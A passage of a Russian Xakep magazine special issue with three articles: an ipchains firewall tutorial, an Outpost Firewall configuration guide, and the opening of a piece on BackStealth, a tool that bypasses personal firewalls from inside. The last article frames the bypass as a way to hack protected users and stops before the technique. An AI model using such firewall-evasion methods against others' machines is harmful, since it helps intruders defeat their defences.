ЧТО ТАКОЕ FIREWALL?

В общем смысле - это софтина или железяка, которая фильтрует проходящие через нее ip-пакеты, используя при этом набор правил, составленных разработчиками и дополненных тобою. Фильтрация пакетов заключается в том, что файрволл смотрит в заголовок пакета (между прочим, он еще может анализировать содержимое пакета, т.е., собственно говоря, саму передаваемую информацию), сопоставляет его с заданными правилами и разрешает или запрещает прохождение пакета внутрь сети, во внешний мир или к локальным процессам. Не упущу очередной повод пнуть Билла в причинное место - в Linux'e механизм файрволла встроен в ядро и является неотъемлемой частью операционки, в отличие от виндузы, где за хороший межсетовой экран приходится платить нехилое количество америкосских президентов (ну... в Буржундии так считают :)). Управление этим механизмом осуществляется при помощи специализированного софта. В ядрах, начиная с 2.1.х, используется утилита ipchains, начиная с ядер 2.4.х, появилась новая прога - iptables, функционирующая на тех же принципах. Кроме фильтрации пакетов ipchains позволяет также конфигурировать несколько полезных вещей: маскарадинг (подмена параметров в заголовках ip-пакетов) и прозрачное проксирование (переадресация ip-пакетов на другой порт).

КАК ЗАПУСТИТЬ ЕГО?

Очень просто, достаточно записать символ «1» в файл «/proc/sys/net/ipv4/ip_forward»; соответственно, для того чтобы остановить, необходимо записать туда же символ «0»: «echo 1 > /proc/sys/net/ipv4/ip_forward». Имеет смысл записать эту команду в один из стартовых скриптов. Что-то не работает? Проверить это просто - если есть файл "/proc/net/ip_fwchains" то все чики-пуки. Если нет, то необходимо сконфигурировать ядро для работы с фаерволлом, а дальше действовать по инструкции номер 609258/инд. 8965 МО РФ для компиляции и установки ядра :)). Опции ядра, которые необходимо сконфигурировать, следующие: "CONFIG_FIREWALL = y", "CONFIG_IP_FIREWALL = y", "CONFIG_IP_FIREWALL_NETLINK = y" (направляет копии пакетов программам мониторинга), "CONFIG_IP_MASQUERADE = y" (включает маскарадинг), "CONFIG_IP_TRANSPARET_PROXY = y" (включает прозрачный прокси).

КАК РАБОТАЕТ FIREWALL?

По умолчанию имеются три встроенные цепочки (chains) правил (rules): входная (input), выходная (output) и пересылочная (forward). Можно дополнять их своими цепочками. Каждая цепочка состоит из правил. Каждое правило содержит условие и действие, которое необходимо произвести с пакетом, если он удовлетворяет условию. Если пакет не соответствует условию, то проверяется следующее правило цепочки. Если все условия исчерпаны, задействуется политика (policy) цепочки.

Содержание  Вперед на стр. 024-022-2


 

Хакер №024. Спецвыпуск


NIX-ПРЕДОХРАНИЛОВО

вся правда об ipchains

Спецвыпуск Xakep, номер #024, стр. 024-022-2

Так подожди-ка, я уже запутался, а как файрволл определяет, по какой цепочке проверять пакет? Все очень просто, как апельсин... Если пакет приходит из внешнего мира (скажем, по Ethernet карте или по момеду) и предназначен драндулету, на котором работает firewall (а вернее - локальным процессам), то он проверяется по входной цепочке. Если же, наоборот, пакет был создан локальным процессом и предназначен для внешнего мира, то он проверяется по выходной цепочке. Если же пакет приходит из внешнего мира, но предназначен другим компам, тогда он проверяется по пересылочной цепочке. Правда, тут есть одна хитрость - этот механизм (пересылочный) не будет работать в том случае, если в ядре запрещена маршрутизация (т.е. передача пакета с одного компа на другой - фактически с одного сетевого интерфейса на другой), в этом случае пакет будет разрушен.

КОЛБАСИМСЯ С ЦЕПОЧКАМИ

Сначала научимся создавать новые цепочки, это делается при помощи команды «ipchains -N имя_цепочки». При этом имя цепочки не должно превышать восьми символов, а также не должно совпадать со стандартными именами цепочек и операций (input, output, forward, ACCEPT, DENY, REJECT, MASQ, REDIRECT, RETURN). Кроме того, рекомендуется задавать имена цепочек в нижнем регистре.

Даже в том случае, если ты безвылазно проводишь свою жизнь в танке, ты должен понимать, что, кроме создания цепочки, у тебя должна быть и возможность пристукнуть ее в темном уголке твоей (или чужой :)) операционки. Тут тебе на помощь приходит заветная буква X (прикинь, насколько она многолика, эта великая буква русского и латинского шрифта!). Соответственно команда, которая позволяет тебе выполнить это магическое деяние, выглядит так: «ipchains -X имя_цепочки». Удаление цепочки произойдет в том случае, если она существует, она пустая (т.е. в ней нет ни одного правила), а также если в других цепочках нет правил, ссылающихся на нее.

А как я удалю цепочку, если она не пустая? Очень просто - ее надо пропылесосить от правил, а вернее отправососить :). Это делается с помощью команды «ipchains -F имя_цепочки». И будь осторожен, если ты не укажешь имя цепочки, то ко всем правилам во всех цепочках придет в гости безоговорочный звездец.

Просматриваются цепочки по команде «ipchains -L имя_цепочки». Если имя не указано, то будут показаны все цепочки. Вместе с флагом -L можно также указывать следующие флаги: -n (не преобразовывать IP-адреса в символьные), -v (дополнительная инфа по правилам, счетчики пакетов и байт), -x (получить точные численные значения, например, вместо 2K bytes будет написано 2048 bytes).

Обнуление счетчиков происходит по команде «ipchains -Z имя_цепочки». Как можно догадаться, если имя цепочки не задано, то обнуляться будут счетчики всех цепочек. Наконец, политику цепочки можно определить с помощью команды «ipchains -P имя_цепочки политика». Политика бывает ACCEPT (принять), DENY (грохнуть) и REJECT (злобно грохнуть, т.е. грохнуть и отправить уведомление отправителю). Политика может задаваться только для встроенных (built-in) цепочек - входной, выходной и пересылочной. Для пересылочной цепочки также возможно значение политики MASQ, но я тебе рекомендую забыть об этом значении, если ты хочешь нормальной безопасности.

Назад на стр. 024-022-1  Содержание  Вперед на стр. 024-022-3


 

Хакер №024. Спецвыпуск


NIX-ПРЕДОХРАНИЛОВО

вся правда об ipchains

Спецвыпуск Xakep, номер #024, стр. 024-022-3

Так, дружище, я забыл сказать, что за звери такие - «счетчики»? Сщас гляну в документацию... шутка :). Когда пакет начинает просматриваться в цепочке и проверяется для каждого правила, то, если он удовлетворяет условию, счетчик байт для этого правила увеличивается на размер пакета (плюс размер заголовка), а также на единицу увеличивается счетчик пакетов для данного правила.

ПРАВОВОЕ ПОЛЕ

Итак, ты уже научился создавать и убивать цепочки, теперь покопаемся у них в требухе. Внутри цепочек у тебя есть правила для пакетов, у которых в свою очередь есть условия, на которые проверяется пакет в этом правиле, и если он удовлетворяет этому правилу, то совершается определенное действие. С правилами ты можешь выполнять следующие операции:

- добавлять новое правило в конец списка правил («ipchains -A имя_цепочки»);

- вставлять новое правило на определенное место в цепочке («ipchains -I имя_цепочки номер_места»);

- заменять указанное правило в цепочке («ipchains -R имя_цепочки номер_места»);

- удалять правило в указанной позиции («ipchains -D имя_цепочки номер_места»);

- удалять правило, соответствующее условию, - это когда тебе в лом искать номер нужного правила, и ты вместо номера указываешь условие («ipchains -D имя_цепочки условие»). Правда, если в цепочке есть несколько одинаковых правил, на встречу с создателем отправится только первое правило.

Совершая эти действия, ты должен помнить, что каждое правило имеет свой порядковый номер, и при удалении правила из середины цепочки или вставки туда нового правила все нижележащие правила уменьшат или увеличат свои номера на единицу.

Ок, наконец наш пакет попал в правило, и теперь он проверяется на соответствующее условие:

- Пакет должен иметь указанный адрес отправителя (флаг «-s адрес_отправителя»), адреса могут указываться в виде символического адреса (www.xakep.ru), в виде IP-адреса (192.168.10.78), в виде IP-адреса с численной маской (192.168.10.0/255.255.255.0 - иными словами говоря, 192.168.10.*), а также в виде IP-адреса c битовой маской (192.168.10.0/24 то же самое, что и 192.168.10.0/255.255.255.0, ну а 192.168.10.0/16 - то же самое, что и 192.168.10.0/255.255.0.0); если тебе надо указать все адреса, можно использовать такое написание - 192.168.10.0/0 (при этом адрес 192.168.10.0 может быть АБСОЛЮТНО любым);

- Пакет должен иметь указанный адрес получателя (флаг «-d адрес_получателя»), формат адреса такой же, как и у флага -s.

- Инверсия указанного условия (! - например, «ipchains -s ! www.lamers.com»).

- Указанный протокол («ipchains -p TCP -d 192.168.10.78/0 ! 80», эта запись, к примеру, значит - все пакеты протокола TCP, кроме пакетов, адресованных на 80-ый порт), помимо протокола можно также задать и номер порта (можно символическое имя порта, загляни в файл сервисов «/etc/services»). Также можно указывать диапазоны портов - 21:80 (если пропущена первая цифра, т.е. - :80, то имеются в виду все порты вплоть до 80-ого).

Назад на стр. 024-022-2  Содержание  Вперед на стр. 024-022-4


 

Хакер №024. Спецвыпуск


NIX-ПРЕДОХРАНИЛОВО

вся правда об ipchains

Спецвыпуск Xakep, номер #024, стр. 024-022-4

- Интерфейс (флаг -i), к интерфейсам также применима инверсия, например «-i ! lo» будет значить «все интерфейсы, кроме lo». До кучи ты можешь указывать группу интерфейсов «-i eth+», это будет означать все интерфейсы, имена которых начинаются с «eth».

- TCP SYN пакеты (-y) - это пакеты с запросом на установление TCP соединения. Они могут применяться только в правилах с TCP протоколом (например так: «-p TCP -s 0.0.0.0/0 -y», что означает принимать TCP SYN пакеты с любого адреса).

- Только фрагменты пакетов (-f). Если пакет превышает по своему размеру MTU (Maximum Transfer Unit - максимальный размер), то он фрагментируется - разбивается на несколько пакетов, которые пересылаются по отдельности (на одной стороне разбираются, а на другой - собираются). На нашем файрволле эти пакеты можно собирать - дефрагментировать (для задействования этой опции ядра необходимо установить "CONFIG_IP_ALWAYS_DEFRAG = y") и транзитом отправлять их дальше. Вот тут и вылезает, аки гад из-под коряги, простая проблема - в первом фрагменте пакета лежит заголовок, а в остальных нет. Будь осторожен - злобные досеры могут закормить тебя обрывками пакетов, такие методы существуют, так что без нужды не запускай дефрагментатор.

Вот почти все условия, которые тебе могут понадобиться, (я, правда, не рассказал о типах и кодах для протокола ICMP, но о них прочитаешь по ссылкам, которые указаны чуть ниже).

Наконец, мы определились что за пакет нам пришел, и теперь надо принять решение, что же с ним делать. Для этого существуют шесть специальных действий плюс два дополнительных. Специальные действия задаются флагом -j:

- ACCEPT - принять пакет.

- DENY - грохнуть.

- REJECT - издевательски грохнуть, т.е. послать отправителю ICMP-пакет о совершенном деянии (при условии, что проверяемый пакет не был ICMP-пакетом).

- MASQ - замаскарадить пакет, действует только для пересылочной цепочки и при условии, что ядро поддерживает маскарадинг.

- REDIRECT - применить прозрачное проксирование, т.е. отправить пакет на указанный порт локальной машины (возможно только во входной цепочке, формат «-j REDIRECT номер_порта»).

- RETURN - применить к этому пакету политику цепочки.

Если после -j ты укажешь действие, отличное от этих шести, то пакет начнется проверяться по указанной тобою цепочке (после флага -j), по завершении проверки по пользовательской цепочке проверка продолжится по текущей цепочке правил.

Кроме этих общих переходов, ты можешь записать в логи пришедший тебе пакет (флаг -l) и изменить тип обслуживания пакета (-t), а еще... Ладно, хватит, это уже совсем необязательные фишки (любопытным - welcome2rtfm).

ПОЛЕЗНЫЕ ХИНТЫ

Прикинь, дружище, что ты полезешь разбираться на уже работающий файрволл со своим энтузазизмом великого конфигуратора. Готов поспорить на ящик «Балтики»-пятерки и упаковку кальмаров, что у тебя с первого раза мало чего стoящего получится, а вот угробить текущую конфигурацию - это запросто. Но не волнуйся, если ты будешь предохраняться, то и твой волк будет сыт и овечки мало пострадают (да и пастуху вечная память!)... Ведь текущие правила цепочки (или цепочек) можно сохранить при помощи утилиты «ipchains-save имя_цепочки > имя_файла»; если вдруг забудешь указать имя цепочки, не волнуйся - сохранятся правила для всех цепочек. А если ты забыл указать имя файла, то извини, твой танк припаркован на запасном пути :). Ну а раз можно сохранить правила, то со стороны разработчиков было бы верхом глупости, если их нельзя было бы загрузить - «ipchains-restore < имя_файла».

Назад на стр. 024-022-3  Содержание  Вперед на стр. 024-022-5


 

Хакер №024. Спецвыпуск


NIX-ПРЕДОХРАНИЛОВО

вся правда об ipchains

Спецвыпуск Xakep, номер #024, стр. 024-022-5

Очень аккуратным нужно быть и с ICMP-пакетами. ICMP-протокол используется для распознавания ошибок в других протоколах, и если ты будешь грохать, не задумываясь, его пакетики, то цикл, запрашивающий соединение с сервантом, который будет орать что-нибудь вроде «Ой, вы знаете, а я ведь сегодня анричибл», никогда не получит этой мессаги, а следовательно, будет мотаться и мотаться... Тот же ICMP используется для определения MTU (максимального размера пакета), и если ты фрагментируешь свои пакеты, а ICMP-пакеты не пролетают, то сервант на другом конце провода не получит сообщения о фрагментации пакетов. Соответственно - нужная тебе mp3-шка так и не придет, сколько бы ты ни молился Биллу.

Во время процесса конфигурации тебя могут подстерегать и другие опасности - злобный хацкер может проникнуть в конфигурируемую тобой систему, поэтому имеет смысл перед началом конфигурации запретить весь траффик, например, так - «ipchains -I input 1 -j DENY» (это надо повторить для всех встроенных цепочек). После завершения процесса конфигурации убери эти правила - «ipchains -D input 1». Кроме того, для проверки правил ты можешь послать фиктивный пакет командой с параметром «-C». Пример - «ipchains -C input -p TCP -s 0.0.0.0/0 -d 192.168.10.78/80», по этой команде сгенерируется для входной цепочки TCP пакет с произвольным адресом отправителя и с адресом получателя 192.168.10.78 для порта 80. Если он пройдет все проверки и уйдет адресату, то ipchains ответит - "Packet accepted", а в противном случае - "Packet rejected".

ОБЩАЯ БЕЗОПАСНОСТЬ

На любых уровнях человеческой жизнедеятельности, начиная с банального пикапа симпатичных подруг и кончая нашими файрволлами, - есть два основных принципа, называй их как хочешь, но от этого их суть не изменится:

- что не запрещено, то - разрешено;

- и наоборот, что не разрешено, то запрещено.

Хорошие системы безопасности строятся по второму принципу, кривые - по первому. Мотай на ус.

КОНЧАЛО

Я надеюсь, твой мозг не воспалился от потока вылитой инфы, а если ты хочешь добавки, лезь сюда - http://www.opennet.ru/docs/135.shtml. Сомневаюсь, что представленной здесь инфы будет мало, ну а если так, то да поможет тебе man и ipchains-HOWTO. И помни, что паранойя это не порок, а образ жизни.

Назад на стр. 024-022-4  Содержание


 

Хакер №024. Спецвыпуск


ЗАЩИЩАЕМСЯ ПОД WIN

Спецвыпуск Xakep, номер #024, стр. 024-026-1

настройка Agnitum Outpost Firewall

Трудно раскидывать пальцы в сети, если сам падаешь от первого толчка ламера, скачавшего себе Voidozer и даже не представляющего себе, как он работает. Еще труднее спокойно спать, будучи админом сервака под NT или 2000. Но есть счастье у виндусятников, его надо только скачать и настроить :).

СТАВКА

Качать здесь: http://www.agnitum.com/products/outpost/. Нам на выбор дают 2 версии Free и Pro. Первая, соответственно, бесплатная, за вторую придется заплатить. Во имя существования великой халявы описывать буду бесплатную версию со всеми подробностями и наворотами. Первым делом после установки перегрузись, поскольку прога работает на достаточно низком уровне с сетевухой/модемом. Ставится он, к счастью, на все MSWin платформы от 95 до XP, так что качать для 98 отдельно, а для XP/NT отдельно тебе не придется. Русский интерфейс опять же делает ее более разговорчивой. Очень жаль, что на сайте разработчиков не осталось старых версий, в которых была опция debug, пользуя которую, можно было переделать программку в маленький снифер, так сказать, "для себя" (гы, ради такого дела я держу копию той самой версии на http://www.dronich.nm.ru :) - прим. ред.). Лично мной Аутпост ставился без каких-либо глюков на 98, NT4, XP. На XP ставил сразу после установки оной для успокоения разнообразных стукачей, чего и тебе советую.

ОБЩИЕ НАСТРОЙКИ

Первым делом прога падает в "режим обучения", советую там ее и держать при использовании на домашней тачке, много лишнего спрашивать она не станет. Если придется ставить на гейте или серваке, то можно сделать настройки и отправить ее в "режим блокировки" или "режим разрешения", в зависимости от целей установки. Первым делом лезем в меню параметров -> общие, на первой странице ставим везде галочки, если еще не стоят. В системных убираем (если стоит) галочку на NetBIOS, в "тип ответа" ставим невидимку. Все, первое дело сделано, можно выходить на полосу препятствий в И-нет.

НАСТРОЙКА ПОД ПРИЛОЖЕНИЯ

В отличие от NetStat, в OutPost ты можешь посмотреть не только, какие порты открыты, но и кто именно их открыл. Добавить эту строчку можно правым кликом по "Моя сеть", это очень удобно для поимки троянов. При первых же соединениях некие: RPCSS, он же DCOM, ICQSRP, он же баннер для аськи, пытаются установить соединения. Для них смело выбирай "запретить любые действия", ибо нефиг кому попало твой трафик жрать. У меня в запрещенных еще и Winamp болтается, достал своей "более новой" версией. Туда же посылай всякие "AUTOUPD" и "AUPDRUN", приспичит, сам скачаешь :). Если ставишь Outpost под XP, то есть еще один немаловажный момент, данная система очень любит стучать Билли. Для пресечения этого после первого выхода в сеть просто подожди, как только начнут появляться запросы во внешний мир, смело режь их, ябедничать нехорошо! Пусть привыкает это изнеженное американское дитятко жить в наших постсоветских условиях.

ЛИЧНЫЕ НАСТРОЙКИ

Теперь начинаем знакомить наш OutPost со всеми приложениями. Запускаем мылер, файрволл начинает яростно орать. На что в правом вываливающемся меню мы объясняем ему, что это e-mail client. Запускаем браузер, объясняем, что это browser. И так по очереди. Конечно, можно все сделать руками и нудно прописать все порты, для всех программ. Но раз уж сделали меню, пусть работает. Тетя Ася настраивается в автомате замечательно, но я потом отрезал ей mail и http, мыло я ей не проверяю, а качать странички и картинки за мой счет нельзя. Все nntp клиенты, если ты их пользуешь, идут по разряду мылеров, позже просто кастрируем им pop и smtp, на всякий случай. Обрезание делается в меню "приложения" в параметрах. Единственный, кто попал не по автомату, был telnet, уж очень я люблю им на http и smtp коннектиться, потому повесил его в привилегированную группу "можно все". В эту же ложу можешь определять проги, которые ты написал сам. Проги друзей и знакомых туда лучше не отправлять, помни, что кодер кодеру - хакер, ламер и юзер :). Так что эти проги проверяй в первую голову.

Содержание  Вперед на стр. 024-026-2


 

Хакер №024. Спецвыпуск


ЗАЩИЩАЕМСЯ ПОД WIN

Спецвыпуск Xakep, номер #024, стр. 024-026-2

ДЛЯ ПРОГРАММИСТА

Если ты сам активно пишешь проги, то будь готов к тому, что Outpost тебя достанет сообщением типа "тут кто-то говорит, что он Project1.exe, но я того кекса в лицо знаю, это не он, что делать будем?". На период написания серверной или клиентской проги лучше его отрубать переводом в "режим бездействия". Соответственно, в И-нете ты окажешься на это время беззащитным. Сам факт проверки программ радует, поскольку встроить троянец в icq.exe или в твой любимый браузер уже будет более проблематично. В качестве хакерского использования можно добавить несколько программ просто для отслеживания изменений в них. То есть добавляем в наш Outpost, например, прогу "notepad.exe" и разрешаем ей коннектиться на сервер 127.0.0.1; как только прога изменится, нам выскочит предупреждение, что, мол, вы ей разрешали, а она не та, что была. При этом прога может даже и не думать куда-либо коннектиться. Таким образом получаем простую и надежную проверялку программ.

РЕЖИМЫ РАБОТЫ

Разберемся для начала с первым и последним режимами, поскольку они наиболее просты в понимании. Первый - это режим бездействия, а последний - это режим "блокировать все". Первый отключает файрволл и позволяет любому приложению устанавливать любые соединения, что удобно при работе не совсем стандартных программ с использованием множественных соединений. Последний отрубает все и вся, то есть ты как бы в офф-лайне, и, кроме IP адреса, ничто и никто не скажет, что ты являешься частью сети. Следующие по сложности это режим "блокировки" и режим "разрешения". Первый включает все правила, которые явно разрешают соединения и запрещает все остальное. Второй разрешает все, что явно не оговорено как запрещенное действие. Последний, в принципе устанавливаемый по умолчанию, это режим "обучения", то есть тебя спрашивают обо всех действиях, которые выполняет твой компьютер или которые пытаются выполнить с твоим компьютером из сети. При работе в автопилоте лучше настроить все, что можно делать, и поставить "режим блокировки", в таком случае будет труднее сделать то, чего ты бы добровольно не разрешил :). Уже позже, если кому понадобится выход по другому порту, можно будет добавить его отдельно.

Назад на стр. 024-026-1  Содержание  Вперед на стр. 024-026-3


 

Хакер №024. Спецвыпуск


ЗАЩИЩАЕМСЯ ПОД WIN

Спецвыпуск Xakep, номер #024, стр. 024-026-3

ПРАВИЛА, КАК ОНИ УСТРОЕНЫ

В отличие от многих файрволлов, в Outpost правила задаются для каждой проги отдельно. Само правило состоит из нескольких пунктов. Во-первых, это протокол, его выбор не велик - есть только TCP и UDP. Во-вторых, это направление, то есть есть входящее или исходящее. Затем удаленный адрес, он может представлять собой IP адрес (или несколько), который заносится в таблицу, или диапазон адресов, например - с 127.0.0.1 по 127.255.255.255, диапазонов тоже может быть несколько. Если в удаленный адрес написать имя домена, то Outpost дойдет до ближайшего DNS сервера и вставит в таблицу IP адрес, что при использовании в качестве запрета может отрезать не один хост, а всю пачку хостов с этим IP адресом. Вместо маски можно использовать звездочки в IP адресе, то есть с 127.0.0.0 по 127.255.255.255 будет эквивалентно 127.*.*.*, что удобнее использовать, выбирай сам.

Четвертым на очереди пунктом идет удаленный порт, можно задать в цифровом виде, например, 21, можно в буквенном, то есть FTP, можно в виде диапазона (например, 1024-65535). Если есть необходимость указать несколько портов или диапазонов, то они разделяются между собой запятыми (то есть 1,12-15,21). Теперь наиболее интересная фича для настройки гейта, "где локальный адрес", то есть если у тебя стоит сетевуха с IP-шником 192.168.0.1 и мопед с плавающим дайл-апом, то есть возможность разрешить по сети лазить к тебе на винт, а из И-нета запретить это делать. Задаются адреса так же, как в пункте про удаленный адрес, то есть одним IP или маской, диапазоном или по имени, которое переводится в IP адрес. Последний пункт описания соединения - это локальный порт. Задается так же, как удаленный, то есть цифрой, буквой или диапазоном, при необходимости разделяется запятыми. Удобно использовать при настройке локального сервера, особенно сервера, на который заходить можно не всем. Все, теперь осталось выбрать действие по этому правилу, варианты: блокировать, разрешить, отклонить. Разрешить - и так понятно: если соединение удовлетворяет описанию, то оно разрешается. Блокирование и отклонение отличаются тем, что при блокировании высылается RST пакет, говорящий о том, что такого порта нет; при отклонении не делается вообще ничего, то есть про это соединение просто забывают. Первое обычно ставят для исходящих соединений, чтобы программка не мучалась и сразу поняла, что туда долбиться бесполезно. Отклонение лучше ставить на свой сервер, чтобы входящие извне соединения просто терялись, тогда зафлудить твой канал будет более трудно, поскольку твой комп не будет отсылать ответ.

Очень грамотная фича в настройках - не обязательно указывать все правила, можно указать только протокол, что будет означать любое направление и любые адрес и порт, но нельзя не указать действие, а то Outpost просто не будет знать, что с ним делать.

PRACTICE

Давай попробуем создать правило для telnet-клиента. Заходим в приложения или просто устанавливаем Policy в "обучение" и долбимся telnet-ом по любому адресу. В первом случае отыскиваем наш telnet и говорим, что хотим создать правило, во втором говорим "запретить все" и идем в приложения, где перетаскиваем наш телнет из запрещенных в пользовательские. Теперь собственно само правило. В протоколе ставим TCP. Направление, поскольку у нас клиент, ставим исходящее. Удаленный порт ставим 23 или пишем TELNET, или просто выбираем его в таблице и кликаем мышкой. Все, теперь осталось сказать "разрешить эти данные" и жать "ок". Если у нас несколько правил, то не забудь, что проверяются они сверху вниз, поэтому если ты хочешь разрешить все соединения, кроме telnet, то поставь запрещающее правило повыше. Если же тебе надо запретить все, кроме HTTP, то разрешающее правило поставь перед запретом. В противном случае, наткнувшись на первое правило и увидев соответствие, никто не станет проверять весь список, а тупо выполнит первое приказание. Теперь давай попробуем настроить что-нибудь для локального сервака, например, для apache. Для начала отыскиваем его и добавляем в список приложений. Теперь добавляем правило для пользователей, то есть разрешаем входящее соединение на порты HTTP, HTTPS. Если ты пользуешь SQL, то не забудь прописать разрешающее правило на порты 1433 и 1434 или MS_SQL_S и MS_SQL_M (последний порт в принципе апачу не нужен, но он на него долбится. Дятел :)). При использовании исходящих соединений в PHP или Perl не забудь и про них. Если ты хочешь открыть сервак только для локалки, то мало во всех правилах прописать локальный IP адрес со звездочками или диапазон, надо еще запретить все остальные TCP соединения, только поставь запрет ниже разрешения. Таким образом файрвольчик проверит "входящее, TCP, из сетки = нет", идем дальше, а там "входящее, TCP = да", значится - отклоняем его (ну или запрещаем, тут тебе решать, что лучше).

Назад на стр. 024-026-2  Содержание  Вперед на стр. 024-026-4


 

Хакер №024. Спецвыпуск


ЗАЩИЩАЕМСЯ ПОД WIN

Спецвыпуск Xakep, номер #024, стр. 024-026-4

СТАНДАРТНЫЕ ПРАВИЛА

Начнем с правил для ICQ. По умолчанию выставляются два правила на 4000 UDP порт для связи с сервером, два правила на TCP 1024-65535 порт, пара для посылки и приема почты и правило для работы с HTTP. С первой парой все понятно, раз с сервером ты обязан связаться, то и правило для этого необходимо. Правда, вместо двух можно указать одно, но не указывать направление, то же можно проделать и с клиентским коннектом. А вот правило про HTTP я бы удалил, вместо него более выгодно создать правило про запрет TCP 80 и поднять его в иерархии повыше. Не забудь про icqsrp, ему надо запретить любые действия, для тотальной блокировки баннеров. Таким образом получаем вместо 5 правил всего 3 плюс срезаем баннеры. Лепота!

Стандартное правило для браузеров - тоже не прелесть, например, есть строка PASV FTP, в которой указано, что исходящее соединение разрешено на порты 1024-65535, что полностью перекрывает правило PROXY, то есть одно из них явно лишнее. Если же ты работаешь через проксю и только через нее, то следует оставить единственное разрешенное соединение на твою проксю, а остальное потереть. Меньше будет проверять, значит быстрее будет работать. В противном случае стирай правило про проксики, оно тебе не пригодится. Наиболее грамотно написано стандартное правило для Download manager, в принципе для всяких reget, flashget и прочих менять ничего не надо. Но если тебе досаждают баннеры, то можно запретить обращаться к конкретному серверу, а можно просто включить плуг для кастрации рекламы. Мылер тоже переполнен всем, что только можно. Тут и NNTP, и IMAP, ну, конечно же, есть POP3/SMTP :). Лично я оторвал ему IMAP и NNTP, поскольку для работы с ними использую другие проги, а не свой мылосборник. Стандарты для IRC, FTP, Storage критике не подлежат, поскольку критиковать там, собственно, нечего. Для telnet я все же переделал проверку из двух строк в одну, просто переписав оба порта telnet и ssh в одну строку через запятую. В «синхронизация времени» вроде написано все правильно, но я так и не нашел сервера, где 123 UDP порт был бы нужен для какой-нибудь синхронизации :). Про NetMeeting говорить не буду, в его хелпе по подключению через прокси-сервер описаны все порты, именно они и занесены в список разрешенных. В общем, если ты ставишь стандартные правила, то не поленись и пройдись по ним позже для удаления лишних проверок.

Назад на стр. 024-026-3  Содержание  Вперед на стр. 024-026-5


 

Хакер №024. Спецвыпуск


ЗАЩИЩАЕМСЯ ПОД WIN

Спецвыпуск Xakep, номер #024, стр. 024-026-5

ЗАТЫЧКИ

В качестве первой затычки нам предлагают плуг "реклама". Сам по себе достаточно полезный, поскольку срезает влет все баннеры и счетчики на страницы, оставляя о них лишь воспоминание в виде квадратных скобок с текстом. Но на слабых машинах он может достаточно сильно притормаживать процесс работы, так как обрабатывается весь пролетающий мимо трафик. Блокировка идет как по размеру баннера, так и по адресу, откуда его скачивают. Первый всплывший глюк с этим плагином это невозможность зайти на RLE :). Очень интересная особенность - это корзина, куда можно перетаскивать мышкой пролетающие баннеры, после чего ты их больше не увидишь.

Вторым на очереди стоит "Содержимое", что позволяет блокировать сайты с "определенным" содержимым или блокировать содержание сайта. Первое действие дает понять, что сайт блокирован, второе действие блокирует сайт без особого оповещения. И вовсе не обязательно заносить туда приятные и радующие глаз порносайты, можно занести туда журнал Бурда, чаты, в которых любит сидеть твой младший родственник, и другие неприятные сайты.

Плуг DNS позволяет обращаться реже к внешнему серверу, а следовательно, немного сократить трафик. Но будь готов к глюкам - если сервер переехал на другой адрес, но оставил старое имя, то во время кэширования (по умолчанию на неделю) твой комп будет безуспешно долбиться по неправильному IP адресу. Ограничения в размере кеша можно поднять до 500, но на скорости, если честно, это мало сказывается. Если же тебе надо часто лазить по новым серверам, то скорость практически не изменится. Имеется возможность посмотреть все кэшированные адреса, а следовательно, узнать, кто и куда лазил, но можно и удалить, даже выборочно, некоторые записи.

Назад на стр. 024-026-4  Содержание  Вперед на стр. 024-026-6


 

Хакер №024. Спецвыпуск


ЗАЩИЩАЕМСЯ ПОД WIN

Спецвыпуск Xakep, номер #024, стр. 024-026-6

Плуг "активное содержимое" позволяет блокировать кусочки кода, которые относятся к ActiveX и прочим приблудам, но взамен сильно притормаживает комп, а количество реально существующих активных Х в сети сводит реальную пользу от плага практически на ноль. Кому действительно может пригодиться этот плаг, так это тому, кто никогда не патчит мастдайку и пользует исключительно IE и OutLook. При использовании Netscape и Bat пользы практически нет.

«Защита файлов», а именно так называется следующий подопытный, который ковыряется в твоих письмах и выбрасывает оттуда все лишнее. Это позволяет скачивать письма с вирусягами без их запуска и с сохранением своих нервных клеток.

И, наконец, самый полезный плаг - "детектор атак", он позволяет определить сканирование твоих портов и засечь безуспешно долбящихся на 138 и 139 порт ушлых парней. Качество определения сканирования достаточно высоко, ошибается в основном только при использовании FTP в пассивном режиме. При настройке плагина можно установить режимы блокировки, что позволит блокировать атакующего или блокировать всю сеть. Эффект со стороны такой: начинается сканирование, и через 5-6 отсканированных портов компьютер просто исчезает, якобы ты упал. Смешно :).

ПРИГОВОР

Аутпост - качественно написанный файрвольчик, который позволяет использовать себя задарма и при этом очень хорошо настраивается. Можно ставить как на домашний комп, так и на гейте для маленькой сетки. Главное его преимущество - это быстрая и удобная настройка. При испытаниях на 98 виндах он отлично выдержал удар IGMP, за что получил от меня лично плюс в свою сторону.

Назад на стр. 024-026-5  Содержание


 

Хакер №024. Спецвыпуск


BACKSTEALTH

удар в спину

Спецвыпуск Xakep, номер #024, стр. 024-030-1

TanaT (TanaT@hotmail.ru)

Предположим, ты хочешь кого-то хакнуть, а у этого чела стоит файрволл, что делать? Надо сказать, что сегодня эта проблема достигла пика своей актуальности. Суди сам - все, кому не лень, обвешались антивирусами и файрволлами. Даже полные ламеры знают, что "защита от злобных хацкеров достигается с помощью огромного числа security utils". Сейчас мы и поговорим об одном принципиальном способе обхода файрволла.

В мае этого года некий программер Паоло Иорио реализовал метод, позволяющий обходить файрволлы изнутри. Итальянец написал небольшую программу, которая, будучи запущенной под файрволлом, может беспрепятственно подключиться к сети и скачивать тестовый файл. Если быть точным, то эта мега-прога дурачит не все файрволлы, а лишь: Kerio Personal Firewall, McAfee Personal Firewall, Norton Internet Security 2002, Sygate Personal Firewall Pro, Tiny Personal Firewall (всего-то :) - прим. ред.).

Вначале разберем, что делает утилитка под названием BackStealth. Чтобы она заработала, нужно запустить ее на компе с установленным файрволлом. Тогда BS просканирует машину и попытается определить, установлен ли на ней какой-либо из "поддерживаемых" файрволлов. Если BS найдет хоть один из них, то попытается установить соединение с сетью и скачать файл по адресу: www.pc-facile.com/security/backstealth.txt. Этот файл она сохраняет на винте: C:\retrieve.dat. Вот его содержимое:

BACKSTEALTH test

A collaboration with http://www.pc-facile.com

Copyright 2002 Paolo Iorio

If you are reading this message it means BackStealth has managed to download this file WITHOUT your firewall being aware of it. No need to say that this is not good at all!

Как видишь, проведение самого теста никакого вреда причинить не может. Благо файл текстовый, а не деструктивно-исполняемый. Теперь давай посмотрим, как BS'у удается такой трюк.

